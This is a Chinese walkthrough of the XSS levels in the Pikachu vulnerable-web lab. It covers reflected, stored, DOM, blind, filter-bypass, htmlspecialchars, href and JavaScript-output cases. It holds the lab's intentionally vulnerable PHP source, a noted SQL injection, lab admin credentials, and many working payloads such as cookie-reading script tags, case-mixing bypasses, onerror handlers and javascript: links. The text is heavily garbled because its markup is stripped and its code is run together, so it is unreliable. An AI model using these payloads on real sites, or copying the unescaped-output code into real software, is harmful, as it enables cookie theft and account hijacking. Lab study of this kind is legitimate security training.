pikachu-xss通关教程
反射型xss(get):?php /** * Created by runner.han * There is nothing new under the sun */ $SELF_PAGE substr($_SERVER[PHP_SELF],strrpos($_SERVER[PHP_SELF],/)1); if ($SELF_PAGE xss_reflected_get.php){ $ACTIVE array(,,,,,,,active open,,active,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,); } $PIKA_ROOT_DIR ../../; include_once $PIKA_ROOT_DIR.header.php; $html; if(isset($_GET[submit])){ if(empty($_GET[message])){ $html.p classnotice输入kobe试试-_-/p; }else{ if($_GET[message]kobe){ $html.p classnotice愿你和{$_GET[message]}一样永远年轻永远热血沸腾/pimg src{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png /; }else{ $html.p classnoticewho is {$_GET[message]},i dont care!/p; } } } ? div classmain-content div classmain-content-inner div classbreadcrumbs ace-save-state idbreadcrumbs ul classbreadcrumb li i classace-icon fa fa-home home-icon/i a hrefxss.phpxss/a /li li classactive反射型xss(get)/li /ul!-- /.breadcrumb -- a href# stylefloat:right>反射型xss(post):scriptalert(document.cookie)/script存储型xss?php /** * Created by runner.han * There is nothing new under the sun */ $SELF_PAGE substr($_SERVER[PHP_SELF],strrpos($_SERVER[PHP_SELF],/)1); if ($SELF_PAGE xss_stored.php){ $ACTIVE array(,,,,,,,active open,,,,active,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,); } $PIKA_ROOT_DIR ../../; include_once $PIKA_ROOT_DIR.header.php; include_once $PIKA_ROOT_DIR.inc/config.inc.php; include_once $PIKA_ROOT_DIR.inc/mysql.inc.php; $linkconnect(); $html; if(array_key_exists(message,$_POST) $_POST[message]!null){ $messageescape($link, $_POST[message]); $queryinsert into message(content,time) values($message,now()); $resultexecute($link, $query); if(mysqli_affected_rows($link)!1){ $html.p数据库出现异常提交失败/p; } } if(array_key_exists(id, $_GET) is_numeric($_GET[id])){ //彩蛋:虽然这是个存储型xss的页面,但这里有个delete的sql注入 $querydelete from message where id{$_GET[id]}; $resultexecute($link, $query); if(mysqli_affected_rows($link)1){ echo script typetext/javascriptdocument.location.hrefxss_stored.php/script; }else{ $html.p idop_notice删除失败,请重试并检查数据库是否还好!/p; } } ? div classmain-content div classmain-content-inner div classbreadcrumbs ace-save-state idbreadcrumbs ul classbreadcrumb li i classace-icon fa fa-home home-icon/i a hrefxss.phpxss/a /li li classactive存储型xss/li /ul!-- /.breadcrumb -- a href# stylefloat:right>DOM型xss?php /** * Created by runner.han * There is nothing new under the sun */ $SELF_PAGE substr($_SERVER[PHP_SELF],strrpos($_SERVER[PHP_SELF],/)1); if ($SELF_PAGE xss_dom.php){ $ACTIVE array(,,,,,,,active open,,,,,active,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,); } $PIKA_ROOT_DIR ../../; include_once $PIKA_ROOT_DIR.header.php; include_once $PIKA_ROOT_DIR.inc/config.inc.php; include_once $PIKA_ROOT_DIR.inc/mysql.inc.php; if(isset($_GET[text])){ $haha 这里是后台的处理逻辑; } ? div classmain-content div classmain-content-inner div classbreadcrumbs ace-save-state idbreadcrumbs ul classbreadcrumb li i classace-icon fa fa-home home-icon/i a hrefxss.phpxss/a /li li classactiveDOM型xss/li /ul!-- /.breadcrumb -- a href# stylefloat:right>javascript:alert(22); //里边用数字 javascript:alert(XSS); //不行 javascript:alert(XSS);方法二οnclickalert(1)onclickalert(333) onclickalert(333) # onclickalert(111)DOM-XSS-x:?php /** * Created by runner.han * There is nothing new under the sun */ $SELF_PAGE substr($_SERVER[PHP_SELF],strrpos($_SERVER[PHP_SELF],/)1); if ($SELF_PAGE xss_dom.php){ $ACTIVE array(,,,,,,,active open,,,,,active,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,); } $PIKA_ROOT_DIR ../../; include_once $PIKA_ROOT_DIR.header.php; include_once $PIKA_ROOT_DIR.inc/config.inc.php; include_once $PIKA_ROOT_DIR.inc/mysql.inc.php; $html; if(isset($_GET[text])){ $html. a href# onclickdomxss()有些费尽心机想要忘记的事情,后来真的就忘掉了/a; } ? div classmain-content div classmain-content-inner div classbreadcrumbs ace-save-state idbreadcrumbs ul classbreadcrumb li i classace-icon fa fa-home home-icon/i a hrefxss.phpxss/a /li li classactiveDOM型xss/li /ul!-- /.breadcrumb -- a href# stylefloat:right># onclickalert(111)XSS-盲打提交留言然后登录http://192.168.40.133:83/vul/xss/xssblind/admin_login.phpscriptalert(1)/script scriptalert(document.cookie)/script scriptalert(xss);/script scriptalert(xss)/script scriptalert(1)/script 大小写不需要 sCrIPtalert(XSS-Reflect01);/sCrIpT sCRiptalert(XSS-Reflect01);/sCRipt ScriPTalert(XSS-Reflect01);/sCrIpT scscriptriptalert(xss-reflect002);/script img src0 onerroralert(XSS-img)http://192.168.40.133:83/vul/xss/xssblind/admin_login.php ;admin/123456;xss之过滤:根据提示考虑绕过参考scriptalert(1)/script scriptalert(document.cookie)/script scriptalert(xss);/script scriptalert(xss)/script scriptalert(1)/script 大小写不需要 sCrIPtalert(XSS-Reflect01);/sCrIpT sCRiptalert(XSS-Reflect01);/sCRipt ScriPTalert(XSS-Reflect01);/sCrIpT scscriptriptalert(xss-reflect002);/script img src0 onerroralert(XSS-img)先测试一下payload:sCrIPtalert(122)/sCrIpT //大小写绕过 a herf# onclickalert(document.cookie) img src1 onerroralert(1)xss之htmlspecialchars先测试如下发现代码被原样输出htmlspecialchars()函数把预定义的字符转换为HTML实体。 预定义的字符是 • 和号 amp • 双引号 quot • 单引号 • 小于 lt • 大于 gt 我们也可以通过输入来排查什么字符被转义了 成为 amp 成为 quot 成为 #039 成为 lt 成为 gt 可用引号类型 ENT_COMPAT默认仅编码双引号 ENT_QUOTES编码双引号和单引号 ENT_NOQUOTES不编码任何引号我们可以发现和号、双引号和小于号、大于号被转义了而单引号可以正常使用οnclickalert(1)#οnmοuseοveralert(1)# οnclickalert(/xss/)avascript:alert(3333) // JavaScript伪协议 hack οnfοcusalert(5555) // 单引号闭合事件标签xss之href输出javascript:alert(111) // JavaScript伪协议?php /** * Created by runner.han * There is nothing new under the sun */ $SELF_PAGE substr($_SERVER[PHP_SELF],strrpos($_SERVER[PHP_SELF],/)1); if ($SELF_PAGE xss_03.php){ $ACTIVE array(,,,,,,,active open,,,,,,,,,active,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,); } $PIKA_ROOT_DIR ../../; include_once $PIKA_ROOT_DIR.header.php; $html; if(isset($_GET[submit])){ if(empty($_GET[message])){ $html.p classnotice叫你输入个url,你咋不听?/p; } if($_GET[message] www.baidu.com){ $html.p classnotice我靠,我真想不到你是这样的一个人/p; }else { //输出在a标签的href属性里面,可以使用javascript协议来执行js //防御:只允许http,https,其次在进行htmlspecialchars处理 $messagehtmlspecialchars($_GET[message],ENT_QUOTES); $html.a href{$message} 阁下自己输入的url还请自己点一下吧/a; } } ? div classmain-content div classmain-content-inner div classbreadcrumbs ace-save-state idbreadcrumbs ul classbreadcrumb li i classace-icon fa fa-home home-icon/i a hrefxss.phpxss/a /li li classactivexss之href输出/li /ul!-- /.breadcrumb -- a href# stylefloat:right>?php /** * Created by runner.han * There is nothing new under the sun */ $SELF_PAGE substr($_SERVER[PHP_SELF],strrpos($_SERVER[PHP_SELF],/)1); if ($SELF_PAGE xss_04.php){ $ACTIVE array(,,,,,,,active open,,,,,,,,,,active,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,); } $PIKA_ROOT_DIR ../../; include_once $PIKA_ROOT_DIR.header.php; $jsvar; $html; //这里讲输入动态的生成到了js中,形成xss //javascript里面是不会对tag和字符实体进行解释的,所以需要进行js转义 //讲这个例子主要是为了让你明白,输出点在js中的xss问题,应该怎么修? //这里如果进行html的实体编码,虽然可以解决XSS的问题,但是实体编码后的内容,在JS里面不会进行翻译,这样会导致前端的功能无法使用。 //所以在JS的输出点应该使用\对特殊字符进行转义 if(isset($_GET[submit]) $_GET[message] !null){ $jsvar$_GET[message]; // $jsvarhtmlspecialchars($_GET[message],ENT_QUOTES); if($jsvar tmac){ $html.img src{$PIKA_ROOT_DIR}assets/images/nbaplayer/tmac.jpeg /; } } ? div classmain-content xmlnshttp://www.w3.org/1999/html div classmain-content-inner div classbreadcrumbs ace-save-state idbreadcrumbs ul classbreadcrumb li i classace-icon fa fa-home home-icon/i a hrefxss.phpxss/a /li li classactivexss之js输出/li /ul!-- /.breadcrumb -- a href# stylefloat:right>

相关新闻

手撸一个Vue(看不懂可以举报)

手撸一个Vue(看不懂可以举报)

手撸一个Vue(看不懂可以举报) 作为编程讲师,我深知很多同学对Vue的响应式原理充满好奇却又望而却步。今天,我们就从零开始,一步一步“手撸”一个简化版的Vue。如果你看完还看不懂,欢迎举报我!但请相信,跟着…

2026/10/31 6:08:58 阅读更多 →
基于springboot的客户管理系统订单管理档案管理的设计与实现(源码+LW+部署讲解)

基于springboot的客户管理系统订单管理档案管理的设计与实现(源码+LW+部署讲解)

温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台…

2026/11/3 15:38:59 阅读更多 →
如何3分钟解锁Windows家庭版远程桌面:终极完整解决方案

如何3分钟解锁Windows家庭版远程桌面:终极完整解决方案

如何3分钟解锁Windows家庭版远程桌面:终极完整解决方案 【免费下载链接】SuperRDP Super RDPWrap 项目地址: https://gitcode.com/gh_mirrors/su/SuperRDP 还在为Windows家庭版无法使用远程桌面功能而烦恼吗?SuperRDP正是解决这一痛点的完美方案。…

2026/10/25 0:39:20 阅读更多 →

最新新闻

Electron桌面应用开发实战:从环境搭建到打包发布全流程

Electron桌面应用开发实战:从环境搭建到打包发布全流程

做前端这些年,我大部分时间都在跟浏览器标签页打交道,直到第一次把桌面应用跑起来,才发现原来自己一直被限制在地址栏和刷新按钮围起来的框框里。Electron这个词,最开始是在某段时间频繁出现在同事的讨论里,一个用HTML…

2026/11/3 1:09:25 阅读更多 →
滑盖智能锁T109深度解析:结构原理、安装调试与故障排查

滑盖智能锁T109深度解析:结构原理、安装调试与故障排查

简介:亚太天能T109滑盖智能锁产品说明书是一份PDF格式的官方技术文档,主要面向智能锁安装人员、终端用户及售后维护者,帮助快速掌握产品安装、配置与常见故障处理。全包仅1个PDF文件,大小4.37MB,内容结构清晰&#xff…

2026/11/3 10:57:27 阅读更多 →
PMSM弱磁控制原理与Simulink建模:高速AGV驱动系统设计指南

PMSM弱磁控制原理与Simulink建模:高速AGV驱动系统设计指南

上个月我在调试一台高速AGV的驱动系统,整车要求空载跑到8m/s,电机转速已经拉到额定点,驱动器的输出电压也顶到了母线电压极限附近。再往上踩速度指令,转速纹丝不动,三相电流反而开始震荡。那会儿我的第一反应就是&…

2026/11/3 11:35:49 阅读更多 →
C++核心知识点:从内存管理到STL的实战指南

C++核心知识点:从内存管理到STL的实战指南

C 这门语言我前前后后折腾了十几年,用它写过嵌入式驱动、做过游戏服务端,也搭过基础组件库。每次看到新人一头扎进"C 核心知识点"这个搜索词,我其实挺感慨的——这门语言的难点从来不是语法多,而是知识点之间的耦合太深…

2026/11/3 2:27:21 阅读更多 →
T109滑盖智能锁怎么装?安装调试与故障排查全攻略

T109滑盖智能锁怎么装?安装调试与故障排查全攻略

简介:亚太天能T109滑盖智能锁产品说明书以PDF格式发布,适合智能锁用户、安装人员与售后维修人员阅读。内容围绕T109系列指纹密码刷卡锁展开,先介绍前面板、后面板、锁体、机械钥匙、电池盒盖等部件名称与功能,再给出完整安装步骤&…

2026/11/3 10:47:27 阅读更多 →
LLM知识降熵:从信息垄断到理解权下放

LLM知识降熵:从信息垄断到理解权下放

你有没有过这种经历:翻开源码注释、论文摘要或者一份专业报告,每个字都认识,连在一起却像天书。想找人聊聊,身边要么没人懂,要么懂的懒得跟你解释。后来我试着把同一段内容丢给一个大语言模型,几秒钟之后&a…

2026/11/3 10:57:33 阅读更多 →

日新闻

周新闻

月新闻